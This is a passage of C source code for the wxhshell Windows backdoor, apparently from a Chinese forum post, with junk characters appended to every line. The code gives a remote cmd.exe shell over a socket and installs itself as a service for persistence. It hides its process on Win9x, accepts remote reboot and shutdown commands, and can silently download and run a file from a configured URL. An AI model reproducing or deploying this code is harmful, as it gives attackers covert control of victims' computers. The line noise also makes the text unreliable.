  else { xj5TnE9^  
KGt:  
    switch(cmd[0]) { fy+5i^{=  
  0nc(2Bi  
  // 帮助 hB [bth  
  case '?': { vNi;)"&*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^}  {r@F  
    break; *F$@!ByV  
  } )x-b+SC  
  // 安装 s,R:D).  
  case 'i': { T CT8OU|  
    if(Install()) 74^v('-2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =By@%ioIGG  
    else n"iS[uj,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Bo\a3Z  
    break; b'4a;k!rS  
    } a\sK{`|X*  
  // 卸载 DJGafX^  
  case 'r': { 9.)z]Gav  
    if(Uninstall()) zC50 @S3|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~EtGR # N  
    else }L0 [ Jo:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k?=1q[RQH  
    break; EBhdP  
    } # epP~J_f  
  // 显示 wxhshell 所在路径 wv~:^v'  
  case 'p': { @Y0ZW't  
    char svExeFile[MAX_PATH]; 9nY`rF8@  
    strcpy(svExeFile,"\n\r");  \? /'  
      strcat(svExeFile,ExeFile); Whd >  
        send(wsh,svExeFile,strlen(svExeFile),0); X5owAc6  
    break; $Sc_E:`]  
    } _'D(>e?  
  // 重启 |E~c#lV  
  case 'b': { mG)5xD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t?hfP2&6  
    if(Boot(REBOOT)) x'EEmjJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jm!,=} oP'  
    else { 0 u*a=f=  
    closesocket(wsh); 08\w!!a:  
    ExitThread(0); c b-IRGF  
    } !mv5i%3  
    break; QN*|_H@h  
    } d==0 @`  
  // 关机 2n.HmS  
  case 'd': { NX\AQVy9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,nf}4  
    if(Boot(SHUTDOWN)) >/ _#+,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R_!'=0}V  
    else { stG +4w  
    closesocket(wsh); Cm;cmPPl  
    ExitThread(0); y)zZ:lyIq  
    } ?I]AE&4'  
    break; DE.].FD'  
    } R;HE{q[ f  
  // 获取shell v4e4,Nt  
  case 's': {  Z 9:  
    CmdShell(wsh); -k + jMH  
    closesocket(wsh); ; gBR~W  
    ExitThread(0); &G2&OFAr]q  
    break; )>2L(~W  
  } n1%2 sV)>  
  // 退出 /<_!Gz.@uG  
  case 'x': { WIU]>_$.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !<TkX/O  
    CloseIt(wsh); MK3h~`is  
    break; Y. J!]|  
    } \W=3P[gb  
  // 离开 D%+yp  
  case 'q': { FS}b9sQ)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }etdXO_^  
    closesocket(wsh); +iQ@J+k  
    WSACleanup(); k, N{  
    exit(1); F]M-r{  
    break; "R5G^-<h p  
        } YM`T"`f  
  } S ,F[74K  
  } fTXip)n!r  
P;"moluE;  
  // 提示信息 @Ommd{0M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); # fqrZ9:@  
} TG;[,oa  
  } Q z(n41@`  
G,>YzjMY`  
  return; \k5"&]I3  
} {9(0s| pr  
-ED} 6E  
// shell模块句柄 y pEMx'p  
int CmdShell(SOCKET sock) %GTFub0 F  
{ R?u(aY)P  
STARTUPINFO si; a/ uo)']B  
ZeroMemory(&si,sizeof(si)); eL~xS: VT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'IY?=#xr'`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \ Bj{.jL  
PROCESS_INFORMATION ProcessInfo; &]YyV.  
char cmdline[]="cmd"; /4O))}TX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WowT!0$  
  return 0; +D5gbxZX  
} A|LO!P,w  
L ~'98C  
// 自身启动模式 w71YA#cg  
int StartFromService(void) t Aq0Z)  
{ -E1-(TS  
typedef struct nrY)i_\  
{ mhVLlb Y|t  
  DWORD ExitStatus; : %& E58  
  DWORD PebBaseAddress; .X%J}c$  
  DWORD AffinityMask; EMP|I^  
  DWORD BasePriority; |!] "y<  
  ULONG UniqueProcessId; w:lj4Z_  
  ULONG InheritedFromUniqueProcessId; A:Wr5`FJ  
}   PROCESS_BASIC_INFORMATION; <Q(E {c3"  
Q>D//_TF  
PROCNTQSIP NtQueryInformationProcess; 8\68NG6o  
H?O5 "4a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6!>p<p"Ns  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XfE0P(sE  
%SB4_ r*<  
  HANDLE             hProcess; /pjl6dJ t  
  PROCESS_BASIC_INFORMATION pbi; 7SS#V  
z=KDkpV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `E1G9BbU  
  if(NULL == hInst ) return 0; C jf<,x$  
6HZtdRQF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FB wG3x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~qQZhu"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L9O;K$[s  
2!0tD+B  
  if (!NtQueryInformationProcess) return 0; ^+Nd\tp  
\t)va:y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Hy4;i^Ik <  
  if(!hProcess) return 0; +z nlf-  
F oC $X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |;NfH|43;  
WYb}SI(E  
  CloseHandle(hProcess); }Q4Vy  
?|kbIZP(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AuK$KGCI=  
if(hProcess==NULL) return 0; Hmr f\(x  
t3<8n;'y:  
HMODULE hMod; 27N;>   
char procName[255]; HSysME1X:/  
unsigned long cbNeeded; gdeM,A|  
D&F{0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [hSJ)IZh  
keLeD1  
  CloseHandle(hProcess); 1Sz tN3'q  
}?,YE5~  
if(strstr(procName,"services")) return 1; // 以服务启动 Bk\Y v0  
Wz.iDRFl  
  return 0; // 注册表启动 w\s`8S  
} :se$<d%  
5e. aTW;U  
// 主模块 >BO$tbU5b  
int StartWxhshell(LPSTR lpCmdLine) |hxiARr4  
{ ld ]*J}cw  
  SOCKET wsl; :0:Tl/))  
BOOL val=TRUE; ?'0!>EjY"  
  int port=0; xjr4')h  
  struct sockaddr_in door; T`wDdqWbEG  
QNOdt2NN  
  if(wscfg.ws_autoins) Install(); J@:Q(  
;ZUj2WxE  
port=atoi(lpCmdLine); }(8>&  
d^A]]Xg  
if(port<=0) port=wscfg.ws_port;  7qy PI  
z*h:Nt%.  
  WSADATA data; 2j8GJU/L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iH4LZ  
iV/I909*''  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JD#q6 &|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F8Ety^9>9  
  door.sin_family = AF_INET; "6\ 5eFN;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R`@T<ob)  
  door.sin_port = htons(port); l+@;f(8}  
iOg4(SPci  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]uox ^HC  
closesocket(wsl); pZ'q_Oux  
return 1; GGEM&0*  
} iGhvQmd(/*  
e:Y+-C5  
  if(listen(wsl,2) == INVALID_SOCKET) { vQLYWRXiA  
closesocket(wsl); uX1;  
return 1; ={;pg(  
} 't`h?VvL  
  Wxhshell(wsl); y/\b0&  
  WSACleanup(); }qM^J;uy  
53{\H&q  
return 0; TiI/I`A  
l SdA7  
} 8^}/T#l  
E#+2)Q  
// 以NT服务方式启动 ?)-6~p 4N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j%s,%#al  
{ @$r[$D v  
DWORD   status = 0; sMGo1pG(  
  DWORD   specificError = 0xfffffff; :rU.5(,  
eR \duZ!`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BS fmS(.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; je^VJ&ac  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; syB pF:`-W  
  serviceStatus.dwWin32ExitCode     = 0; 1<'z)r4  
  serviceStatus.dwServiceSpecificExitCode = 0; D/Ki^E  
  serviceStatus.dwCheckPoint       = 0; /al56n  
  serviceStatus.dwWaitHint       = 0; ]]K?Q )9x  
x9>$197  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); */h(4Hz  
  if (hServiceStatusHandle==0) return; a6n@   
> pb}@\;:  
status = GetLastError(); y!gPBkG&3n  
  if (status!=NO_ERROR) 1"Oe*@`pV  
{ V8 8u -  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -+@N/d5  
    serviceStatus.dwCheckPoint       = 0; n#x_da-m]  
    serviceStatus.dwWaitHint       = 0; ]%D!-[C%1  
    serviceStatus.dwWin32ExitCode     = status; Pv5S k8  
    serviceStatus.dwServiceSpecificExitCode = specificError; #aL.E(%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pRV.\*:c  
    return; P^<3 Z)L  
  } K9EHT-  
VQpt1cK*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w>j5oz}  
  serviceStatus.dwCheckPoint       = 0; CWkWW/ZI  
  serviceStatus.dwWaitHint       = 0; "}Om0rB}1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tcj "rV{G  
} b\ED<'  
+h"i6`g  
// 处理NT服务事件,比如:启动、停止 O80Z7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T+Re1sPr?  
{ > Hv9Xz  
switch(fdwControl) ]7_>l>  
{ Hj>9#>b  
case SERVICE_CONTROL_STOP: M}o.= Iqa  
  serviceStatus.dwWin32ExitCode = 0; s?}qia\~m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5z0Sns  
  serviceStatus.dwCheckPoint   = 0; A^,u l>!  
  serviceStatus.dwWaitHint     = 0; W,[ RB  
  { HD KF>S_S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mbbhz,  
  } 0bh 6ay4  
  return; r5s{t4 ;Ch  
case SERVICE_CONTROL_PAUSE: LmJjO:W}^y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~$6` e:n  
  break; 3iw3:1RZUZ  
case SERVICE_CONTROL_CONTINUE: d~QKZ&jf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; acS~%^"<_  
  break; sC\?{B0 r  
case SERVICE_CONTROL_INTERROGATE: tZ[9qms^_  
  break; d [l8qaD  
}; B bmw[Qf\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (9]1p;  
} $O\m~r4  
ThX3@o  
// 标准应用程序主函数 #9TL5-1y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Se!w(Y&  
{ J'WzEgCnU  
}}k%.Qb  
// 获取操作系统版本 D,.`mX  
OsIsNt=GetOsVer(); #WG}"[ ,c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >oq\`E  
,Dv*<La`\  
  // 从命令行安装 \uHC9}0  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ag0 6M U  
ltNI+G  
  // 下载执行文件 v+x<X5u  
if(wscfg.ws_downexe) { T^^7@\vDI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =M?+KbTJ3  
  WinExec(wscfg.ws_filenam,SW_HIDE); }R+#>P  
} Z#u{th  
q'S[TFMNE  
if(!OsIsNt) { +I uu8t  
// 如果时win9x,隐藏进程并且设置为注册表启动 }OIe!  
HideProc(); %G(VYCeK  
StartWxhshell(lpCmdLine); :7X4VHw/  
} ;Lfn&2G  
else 392(N(  
  if(StartFromService()) SVVEb6&  
  // 以服务方式启动 ILDO/>n  
  StartServiceCtrlDispatcher(DispatchTable); D6lzc f  
else K@n-#  
  // 普通方式启动 ugN%8N  
  StartWxhshell(lpCmdLine); . h)VR 5?j  
mQVlE__ub  
return 0; jjH2!R]^>  
}
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只看该作者 1 发表于: 2006-10-10
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